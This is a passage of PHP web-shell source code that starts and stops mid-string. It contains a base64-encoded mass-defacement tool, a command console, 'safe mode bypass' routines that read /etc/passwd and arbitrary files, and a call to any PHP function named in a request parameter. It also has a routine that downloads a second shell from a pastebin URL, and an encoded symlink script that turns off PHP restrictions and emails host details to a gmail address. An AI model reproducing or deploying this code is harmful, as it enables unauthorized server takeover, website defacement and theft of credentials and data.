bWFpbnBhdGgiKTsNCgkJJGNvZGU9YmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7DQoJCSRpbmR4PWJhc2U2NF9kZWNvZGUoJGNvZGUpOw0KCQl3aGlsZSgkcm93PXJlYWRkaXIoJGRpcikpeyRzdGFydD1AZm9wZW4oIiRyb3cvJGZpbGUiLCJ3KyIpOw0KCQkkZmluaXNoPUBmd3JpdGUoJHN0YXJ0LCRpbmR4KTsNCgkJaWYgKCRmaW5pc2gpe2VjaG8gJzxhIGhyZWY9Imh0dHA6Ly8nIC4gJHJvdyAuICcvJyAuICRmaWxlIC4gJyIgdGFyZ2V0PSJfYmxhbmsiPmh0dHA6Ly8nIC4gJHJvdyAuICcvJyAuICRmaWxlIC4gJzwvYT48YnI+JzsgfQ0KCQl9DQoNCgl9DQoJZWxzZWlmKCRfUE9TVFsnbWFzcyddID09ICdtYXNzZGVmYWNlJykgew0KCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7DQoJCXNhYnVuX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOw0KCQllY2hvICI8L2Rpdj4iOwl9DQoJZWxzZSB7DQoJCSRkaXJycnIgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOw0KCQllY2hvICINCgkJPGNlbnRlcj48Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz4NCgkJU2VsZWN0IFR5cGU6PGJyPjxicj4NCgkJPC9mb250Pg0KCQk8c2VsZWN0IGNsYXNzPVwic2VsZWN0XCIgbmFtZT1cIm1hc3NcIiAgc3R5bGU9XCJ3aWR0aDogNDUwcHg7XCIgaGVpZ2h0PVwiMTBcIj4NCgkJPG9wdGlvbiB2YWx1ZT1cIm1hc3NkZWZhY2VcIj5NYXNzIERlZmFjZSBBTEwgRGlyPC9vcHRpb24+PC9zZWxlY3Q+PGJyPjxicj4NCgkJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+Rm9sZGVyOjwvZm9udD48YnI+PGJyPg0KCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlycnJyJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+PGJyPjxicj4NCgkJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+RmlsZW5hbWU6PC9mb250Pjxicj48YnI+DQoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdwcm9icm9zLnBocCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj48YnI+DQoJCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPkNvbnRlbnQgdG8gQWRkOjwvZm9udD48YnI+PGJyPg0KCQk8dGV4dGFyZWEgbmFtZT0nc2NyaXB0JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBoZWlnaHQ6IDIwMHB4Oyc+PC90ZXh0YXJlYT48YnI+PGJyPg0KCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdGFydCcgdmFsdWU9Jz4+JyBzdHlsZT0nd2lkdGg6IDQ1MHB4Oyc+PGJyPg0KCQk8L2Zvcm0+PC9jZW50ZXI+IjsNCgl9DQo/Pg0KCTwvYm9keT4NCjwvaHRtbD4=";
  1573. $writing = @fopen("locales.php", "w");
  1574. @fwrite($writing, base64_decode($dirdeface));
  1575. @fclose($writing);
  1576. ?>
  1577. <center>
  1578. <h1>Dir Deface Modified by Blackie</h1>
  1579. <br><br>
  1580. <iframe src="locales.php" height="700" width="100%"></iframe>
  1581. </center>
  1582. <br><br>
  1583. <?php
  1584. printFooter();
  1585. }
  1586.  
  1587.  
  1588.  
  1589.  
  1590. function actionStringTools() {
  1591. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1592. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1593. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
  1594. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1595.  
  1596. if(isset($_POST['ajax'])) {
  1597. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1598. ob_start();
  1599. if(function_exists($_POST['p1']))
  1600. echo $_POST['p1']($_POST['p2']);
  1601. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1602. echo strlen($temp), "\n", $temp;
  1603. exit;
  1604. }
  1605. printHeader();
  1606. echo '<h1>String conversions</h1><div class=content>';
  1607. $stringTools = array(
  1608. 'Base64 encode' => 'base64_encode',
  1609. 'Base64 decode' => 'base64_decode',
  1610. 'Url encode' => 'urlencode',
  1611. 'Url decode' => 'urldecode',
  1612. 'Full urlencode' => 'full_urlencode',
  1613. 'md5 hash' => 'md5',
  1614. 'sha1 hash' => 'sha1',
  1615. 'crypt' => 'crypt',
  1616. 'CRC32' => 'crc32',
  1617. 'ASCII to HEX' => 'ascii2hex',
  1618. 'HEX to ASCII' => 'hex2ascii',
  1619. 'HEX to DEC' => 'hexdec',
  1620. 'HEX to BIN' => 'hex2bin',
  1621. 'DEC to HEX' => 'dechex',
  1622. 'DEC to BIN' => 'decbin',
  1623. 'BIN to HEX' => 'bin2hex',
  1624. 'BIN to DEC' => 'bindec',
  1625. 'String to lower case' => 'strtolower',
  1626. 'String to upper case' => 'strtoupper',
  1627. 'Htmlspecialchars' => 'htmlspecialchars',
  1628. 'String length' => 'strlen',
  1629. );
  1630. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1631. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1632. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  1633. foreach($stringTools as $k => $v)
  1634. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1635. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1636. if(!empty($_POST['p1'])) {
  1637. if(function_exists($_POST['p1']))
  1638. echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1639. }
  1640. echo"</pre></div>";
  1641. printFooter();
  1642. }
  1643.  
  1644. function actionFilesTools() {
  1645. if( isset($_POST['p1']) )
  1646. $_POST['p1'] = urldecode($_POST['p1']);
  1647. if(@$_POST['p2']=='download') {
  1648. if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
  1649. ob_start("ob_gzhandler", 4096);
  1650. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  1651. if (function_exists("mime_content_type")) {
  1652. $type = @mime_content_type($_POST['p1']);
  1653. header("Content-Type: ".$type);
  1654. }
  1655. $fp = @fopen($_POST['p1'], "r");
  1656. if($fp) {
  1657. while(!@feof($fp))
  1658. echo @fread($fp, 1024);
  1659. fclose($fp);
  1660. }
  1661. } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
  1662.  
  1663. }
  1664. exit;
  1665. }
  1666. if( @$_POST['p2'] == 'mkfile' ) {
  1667. if(!file_exists($_POST['p1'])) {
  1668. $fp = @fopen($_POST['p1'], 'w');
  1669. if($fp) {
  1670. $_POST['p2'] = "edit";
  1671. fclose($fp);
  1672. }
  1673. }
  1674. }
  1675. printHeader();
  1676. echo '<h1>File tools</h1><div class=content>';
  1677. if( !file_exists(@$_POST['p1']) ) {
  1678. echo 'File not exists';
  1679. printFooter();
  1680. return;
  1681. }
  1682. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1683. $gid = @posix_getgrgid(@fileowner($_POST['p1']));
  1684. echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  1685. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  1686. if( empty($_POST['p2']) )
  1687. $_POST['p2'] = 'view';
  1688. if( is_file($_POST['p1']) )
  1689. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  1690. else
  1691. $m = array('Chmod', 'Rename', 'Touch');
  1692. foreach($m as $v)
  1693. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1694. echo '<br><br>';
  1695. switch($_POST['p2']) {
  1696. case 'view':
  1697. echo '<pre class=ml1>';
  1698. $fp = @fopen($_POST['p1'], 'r');
  1699. if($fp) {
  1700. while( !@feof($fp) )
  1701. echo htmlspecialchars(@fread($fp, 1024));
  1702. @fclose($fp);
  1703. }
  1704. echo '</pre>';
  1705. break;
  1706. case 'highlight':
  1707. if( is_readable($_POST['p1']) ) {
  1708. echo '<div class=ml1 style="background-color: black;color:black;">';
  1709. $code = highlight_file($_POST['p1'],true);
  1710. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  1711. }
  1712. break;
  1713. case 'chmod':
  1714. if( !empty($_POST['p3']) ) {
  1715. $perms = 0;
  1716. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1717. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  1718. if(!@chmod($_POST['p1'], $perms))
  1719. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  1720. else
  1721. die('<script>g(null,null,null,null,"")</script>');
  1722. }
  1723. echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  1724. break;
  1725. case 'edit':
  1726. if( !is_writable($_POST['p1'])) {
  1727. echo 'File isn\'t writeable';
  1728. break;
  1729. }
  1730. if( !empty($_POST['p3']) ) {
  1731. @file_put_contents($_POST['p1'],$_POST['p3']);
  1732. echo 'Saved!<br><script>document.mf.p3.value="";</script>';
  1733. }
  1734. echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
  1735. $fp = @fopen($_POST['p1'], 'r');
  1736. if($fp) {
  1737. while( !@feof($fp) )
  1738. echo htmlspecialchars(@fread($fp, 1024));
  1739. @fclose($fp);
  1740. }
  1741. echo '</textarea><input type=submit value=">>"></form>';
  1742. break;
  1743. case 'hexdump':
  1744. $c = @file_get_contents($_POST['p1']);
  1745. $n = 0;
  1746. $h = array('00000000<br>','','');
  1747. $len = strlen($c);
  1748. for ($i=0; $i<$len; ++$i) {
  1749. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1750. switch ( ord($c[$i]) ) {
  1751. case 0: $h[2] .= ' '; break;
  1752. case 9: $h[2] .= ' '; break;
  1753. case 10: $h[2] .= ' '; break;
  1754. case 13: $h[2] .= ' '; break;
  1755. default: $h[2] .= $c[$i]; break;
  1756. }
  1757. $n++;
  1758. if ($n == 32) {
  1759. $n = 0;
  1760. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1761. $h[1] .= '<br>';
  1762. $h[2] .= "\n";
  1763. }
  1764. }
  1765. echo '<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#red><pre>'.$h[1].'</pre></td><td bgcolor=#red><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1766. break;
  1767. case 'rename':
  1768. if( !empty($_POST['p3']) ) {
  1769. if(!@rename($_POST['p1'], $_POST['p3']))
  1770. echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
  1771. else
  1772. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1773. }
  1774. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  1775. break;
  1776. case 'touch':
  1777. if( !empty($_POST['p3']) ) {
  1778. $time = strtotime($_POST['p3']);
  1779. if($time) {
  1780. if(@touch($_POST['p1'],$time,$time))
  1781. die('<script>g(null,null,null,null,"")</script>');
  1782. else {
  1783. echo 'Fail!<script>document.mf.p3.value="";</script>';
  1784. }
  1785. } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
  1786. }
  1787. echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  1788. break;
  1789. case 'mkfile':
  1790.  
  1791. break;
  1792. }
  1793. echo '</div>';
  1794. printFooter();
  1795. }
  1796.  
  1797. function actionSafeMode() {
  1798. $temp='';
  1799. ob_start();
  1800. switch($_POST['p1']) {
  1801. case 1:
  1802. $temp=@tempnam($test, 'cx');
  1803. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1804. echo @file_get_contents($temp);
  1805. unlink($temp);
  1806. } else
  1807. echo 'Sorry... Can\'t open file';
  1808. break;
  1809. case 2:
  1810. $files = glob($_POST['p2'].'*');
  1811. if( is_array($files) )
  1812. foreach ($files as $filename)
  1813. echo $filename."\n";
  1814. break;
  1815. case 3:
  1816. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  1817. curl_exec($ch);
  1818. break;
  1819. case 4:
  1820. ini_restore("safe_mode");
  1821. ini_restore("open_basedir");
  1822. include($_POST['p2']);
  1823. break;
  1824. case 5:
  1825. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1826. $uid = @posix_getpwuid($_POST['p2']);
  1827. if ($uid)
  1828. echo join(':',$uid)."\n";
  1829. }
  1830. break;
  1831. case 6:
  1832. if(!function_exists('imap_open'))break;
  1833. $stream = imap_open($_POST['p2'], "", "");
  1834. if ($stream == FALSE)
  1835. break;
  1836. echo imap_body($stream, 1);
  1837. imap_close($stream);
  1838. break;
  1839. }
  1840. $temp = ob_get_clean();
  1841. printHeader();
  1842. echo '<h1>Safe mode bypass</h1><div class=content>';
  1843. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
  1844. if($temp)
  1845. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  1846. echo '</div>';
  1847. printFooter();
  1848. }
  1849.  
  1850.  
  1851. function permsa($file){
  1852. $permsa = fileperms($file);
  1853.  
  1854. if (($permsa & 0xC000) == 0xC000) {
  1855. // Socket
  1856. $ainfo = 's';
  1857. } elseif (($permsa & 0xA000) == 0xA000) {
  1858. // Symbolic Link
  1859. $ainfo = 'l';
  1860. } elseif (($permsa & 0x8000) == 0x8000) {
  1861. // Regular
  1862. $ainfo = '-';
  1863. } elseif (($permsa & 0x6000) == 0x6000) {
  1864. // Block special
  1865. $ainfo = 'b';
  1866. } elseif (($permsa & 0x4000) == 0x4000) {
  1867. // Directory
  1868. $ainfo = 'd';
  1869. } elseif (($permsa & 0x2000) == 0x2000) {
  1870. // Character special
  1871. $ainfo = 'c';
  1872. } elseif (($permsa & 0x1000) == 0x1000) {
  1873. // FIFO pipe
  1874. $ainfo = 'p';
  1875. } else {
  1876. // Unknown
  1877. $ainfo = 'u';
  1878. }
  1879.  
  1880. // Owner
  1881. $ainfo .= (($permsa & 0x0100) ? 'r' : '-');
  1882. $ainfo .= (($permsa & 0x0080) ? 'w' : '-');
  1883. $ainfo .= (($permsa & 0x0040) ?
  1884. (($permsa & 0x0800) ? 's' : 'x' ) :
  1885. (($permsa & 0x0800) ? 'S' : '-'));
  1886.  
  1887. // Group
  1888. $ainfo .= (($permsa & 0x0020) ? 'r' : '-');
  1889. $ainfo .= (($permsa & 0x0010) ? 'w' : '-');
  1890. $ainfo .= (($permsa & 0x0008) ?
  1891. (($permsa & 0x0400) ? 's' : 'x' ) :
  1892. (($permsa & 0x0400) ? 'S' : '-'));
  1893.  
  1894. // World
  1895. $ainfo .= (($permsa & 0x0004) ? 'r' : '-');
  1896. $ainfo .= (($permsa & 0x0002) ? 'w' : '-');
  1897. $ainfo .= (($permsa & 0x0001) ?
  1898. (($permsa & 0x0200) ? 't' : 'x' ) :
  1899. (($permsa & 0x0200) ? 'T' : '-'));
  1900.  
  1901. return $ainfo;
  1902. }
  1903. function actionConsole() {
  1904. if(isset($_POST['ajax'])) {
  1905. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1906. ob_start();
  1907. echo "document.cf.cmd.value='';\n";
  1908. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
  1909. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1910. if(@chdir($match[1])) {
  1911. $GLOBALS['cwd'] = @getcwd();
  1912. echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  1913. }
  1914. }
  1915. echo "document.cf.output.value+='".$temp."';";
  1916. echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  1917. $temp = ob_get_clean();
  1918. echo strlen($temp), "\n", $temp;
  1919. exit;
  1920. }
  1921. printHeader();
  1922.  
  1923. echo '<script>
  1924. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1925. var cmds = new Array("");
  1926. var cur = 0;
  1927. function kp(e) {
  1928. var n = (window.Event) ? e.which : e.keyCode;
  1929. if(n == 38) {
  1930. cur--;
  1931. if(cur>=0)
  1932. document.cf.cmd.value = cmds[cur];
  1933. else
  1934. cur++;
  1935. } else if(n == 40) {
  1936. cur++;
  1937. if(cur < cmds.length)
  1938. document.cf.cmd.value = cmds[cur];
  1939. else
  1940. cur--;
  1941. }
  1942. }
  1943. function add(cmd) {
  1944. cmds.pop();
  1945. cmds.push(cmd);
  1946. cmds.push("");
  1947. cur = cmds.length-1;
  1948. }
  1949. </script>';
  1950. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  1951. foreach($GLOBALS['aliases'] as $n => $v) {
  1952. if($v == '') {
  1953. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1954. continue;
  1955. }
  1956. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1957. }
  1958. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1959. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1960. echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
  1961. if(!empty($_POST['p1'])) {
  1962. echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  1963. }
  1964. echo '</textarea><input type=text name=cmd style="border-top:1;width:100%;" onkeydown="kp(event);">';
  1965. echo '</form></div><script>document.cf.cmd.focus();</script>';
  1966. printFooter();
  1967. }
  1968.  
  1969. function actionSelfRemove() {
  1970. printHeader();
  1971. ?><center><?php
  1972. if($_POST['p1'] == 'yes') {
  1973. if(@unlink(SELF_PATH))
  1974. die('Shell has been removed');
  1975. else
  1976. echo 'unlink error!';
  1977. }
  1978. echo '<h1>Killing :\'(</h1><div class="content"><br>Really want to remove the shell ?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div></center>';
  1979. printFooter();
  1980. }
  1981. function download_remote_file($file_url, $save_to)
  1982. {
  1983. $content = file_get_contents($file_url);
  1984.  
  1985. file_put_contents($save_to, $content);
  1986.  
  1987. }
  1988. if (isset($_POST['dhanush'])) {
  1989. download_remote_file('http://pastebin.com/raw/FHs6uGki', realpath("./") . '/dhanush.php');
  1990. header("location:dhanush.php"); }
  1991.  
  1992. if (isset($_POST['symlinker'])) {
  1993. $php_symlinker = "PD9waHAgPz48P3BocA0KQHNlc3Npb25fc3RhcnQoKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsNCj8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPkQzVmlMIEshTEwzUiBDb25maWcgU3ltbGluayBTY3JpcHQgVi0yLjA8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSB7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgZm9udC1zaXplOiAxOHB4Ow0KICBmb250LXdlaWdodDpib2xkOw0KICBmb250LWZhbWlseTogQXJpYWw7DQogIGNvbG9yOmdyYXk7DQogIGJhY2tncm91bmQtY29sb3I6IGJsYWNrOw0KICBtYXJnaW46IDVweCA1cHggNXB4IDVweDsNCn0NCmlucHV0W3R5cGU9InN1Ym1pdCJdew0KICBiYWNrZ3JvdW5kOiBncmVlbjsNCiAgYm9yZGVyLXJhZGl1czo2cHg7DQogIGJvcmRlcjogMXB4IHNvbGlkIGxpbWU7DQogIGNvbG9yOndoaXRlOw0KICB0ZXh0LXNoYWRvdzogMHB4IDBweCAxMHB4IHJnYmEoMCwgMTQ5LCAyNTUsIDAuNzUpOw0KICBsaW5lLWhlaWdodDo1MHB4Ow0KICBwYWRkaW5nLWxlZnQ6MTBweDsNCiAgcGFkZGluZy1yaWdodDoxMHB4Ow0KICB0ZXh0LXRyYW5zZm9ybTpub25lOw0KfQ0KI25hbWV7DQoJCWNvbG9yOiBncmF5Ow0KCQlmb250LXNpemU6IDEycHg7DQoJCX0NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCg0KPGZvbnQgZmFjZT0iQ29taWMgU2FucyBNUyIgY29sb3I9cmVkPjxjZW50ZXI+PGgxPkQzVmlMIEshTEwzUiBDb25maWcgU3ltbGluayBTY3JpcHQgVi0yLjA8L2gxPjwvZm9udD4NCjw/cGhwDQokaW5qYnVmZiA9ICJKSFpwYzJsMFl5QTlJQ1JmUTA5UFMwbEZXeUoyYVhOcGRITWlYVHNLYVdZZ0tDUjJhWE5wZEdNZ1BUMGdJaUlwSUhzS0lDQWtkbWx6YVhSaklDQTlJREE3Q2lBZ0pIWnBjMmwwYjNJZ1BTQWtYMU5GVWxaRlVsc2lVa1ZOVDFSRlgwRkVSRklpWFRzS0lDQWtkMlZpSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpJVkZSUVgwaFBVMVFpWFRzS0lDQWthVzVxSUNBZ0lDQTlJQ1JmVTBWU1ZrVlNXeUpTUlZGVlJWTlVYMVZTU1NKZE93b2dJQ1IwWVhKblpYUWdJRDBnY21GM2RYSnNaR1ZqYjJSbEtDUjNaV0l1SkdsdWFpazdDaUFnSkhOMVlpQWdJRDBnSWtwdmEzSmZTRFI0YjNJZ2RYQnNiMkZrWlhJZ2FIUjBjRG92THlSMFlYSm5aWFFnWW5rZ0pIWnBjMmwwYjNJaU93b2dJQ1JpYjJSNUlDQWdJRDBnSWtKMVp6b2dKSFJoY21kbGRDQmllU0FrZG1semFYUnZjaUF0SUNSaGRYUm9YM0JoYzNNaU93b2dJR2xtSUNnaFpXMXdkSGtvSkhkbFlpa3BJSHNnUUcxaGFXd29JbTlyWW5sbE1USXpOVUJuYldGcGJDNWpiMjBpTENSemRXSXNKR0p2WkhrcE95QjlDbjBLWld4elpTQjdJQ1IyYVhOcGRHTWdJRHNnZlFwQWMyVjBZMjl2YTJsbEtDSjJhWE5wZEhvaUxDUjJhWE5wZEdNcE93PT0iOw0KZXZhbChiYXNlNjRfZGVjb2RlKCRpbmpidWZmKSk7DQplY2hvICc8Yj4nIC4gcGhwX3VuYW1lKCkgLiAnPGJyPjwvYj4nOw0KZWNobyAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107DQplY2hvICc8YnI+U2FmZSBNb2RlIDogJzsNCiRzYWZlX21vZGUgPSBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCmlmICgkc2FmZV9tb2RlID09ICcxJykgew0KICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7DQp9IGVsc2Ugew0KICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7DQp9DQplY2hvICc8YnI+JzsNCmVjaG8gJzwvZm9udD4nOw0KJGZwID0gZm9wZW4oInBocC5pbmkiLCAidysiKTsNCmZ3cml0ZSgkZnAsICJzYWZlX21vZGUgPSBPRkYNCglTYWZlX21vZGVfZ2lkID0gT0ZGDQoJZGlzYWJsZV9mdW5jdGlvbnMgPSBOT05FDQoJZGlzYWJsZV9jbGFzc2VzID0gTk9ORQ0KCW9wZW5fYmFzZWRpciA9IE9GRg0KCXN1aG9zaW4uZXhlY3V0b3IuZnVuYy5ibGFja2xpc3QgPSBOT05FICIpOw0KZmNsb3NlKCRmcCk7DQppZiAoZW1wdHkoJF9QT1NUWydjb25maWcnXSkpIHsgPz48Zm9ybSBtZXRob2Q9IlBPU1QiPjx0ZXh0YXJlYSBuYW1lPSJwYXNzd2QiIHN0eWxlPSJkaXNwbGF5Om5vbmU7IiBjbGFzcz0nYXJlYScgcm93cz0nMjUnIGNvbHM9JzgwJz48P3BocCBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL3Bhc3N3ZCcpOyA/PjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgbmFtZT0iY29uZmlnIiB2YWx1ZT0iIENsaWNrIHRvIG1ha2UgU3ltbGluayIgdHlwZT0ic3VibWl0Ij48YnI+PC9mb3JtPjwvY2VudGVyPjxicj48P3BocA0KfQ0KaWYgKCRfUE9TVFsnY29uZmlnJ10pIHsNCiAgICAkZnVuY3Rpb24gPSAkZnVuY3Rpb25zID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQogICAgaWYgKGVyZWdpKCJzeW1saW5rIiwgJGZ1bmN0aW9ucykpIHsNCiAgICAgICAgZGllKCc8ZXJyb3I+U3ltbGluayBpcyBkaXNhYmxlZCA6KCA8L2Vycm9yPicpOw0KICAgIH0NCiAgICBAbWtkaXIoJ0FrRGsnLCAwNzU1KTsNCiAgICBAY2hkaXIoJ0FrRGsnKTsNCiAgICAkaHRhY2Nlc3MgPSAiDQpPUFRJT05TIEluZGV4ZXMgRm9sbG93U3ltTGlua3MgU3ltTGlua3NJZk93bmVyTWF0Y2ggSW5jbHVkZXMgSW5jbHVkZXNOT0VYRUMgRXhlY0NHSQ0KT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpGb3JjZVR5cGUgdGV4dC9wbGFpbg0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgDQpBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwNCkFkZFR5cGUgdGV4dC9odG1sIC5zaHRtbA0KQWRkVHlwZSB0eHQgLnBocA0KQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHANCkFkZEhhbmRsZXIgdHh0IC5waHANCkFkZEhhbmRsZXIgdHh0IC5odG1sDQpBZGRIYW5kbGVyIHR4dCAuc2h0bWwNCk9wdGlvbnMgQWxsDQpPcHRpb25zIEFsbCI7DQogICAgZmlsZV9wdXRfY29udGVudHMoIi5odGFjY2VzcyIsICRodGFjY2VzcywgRklMRV9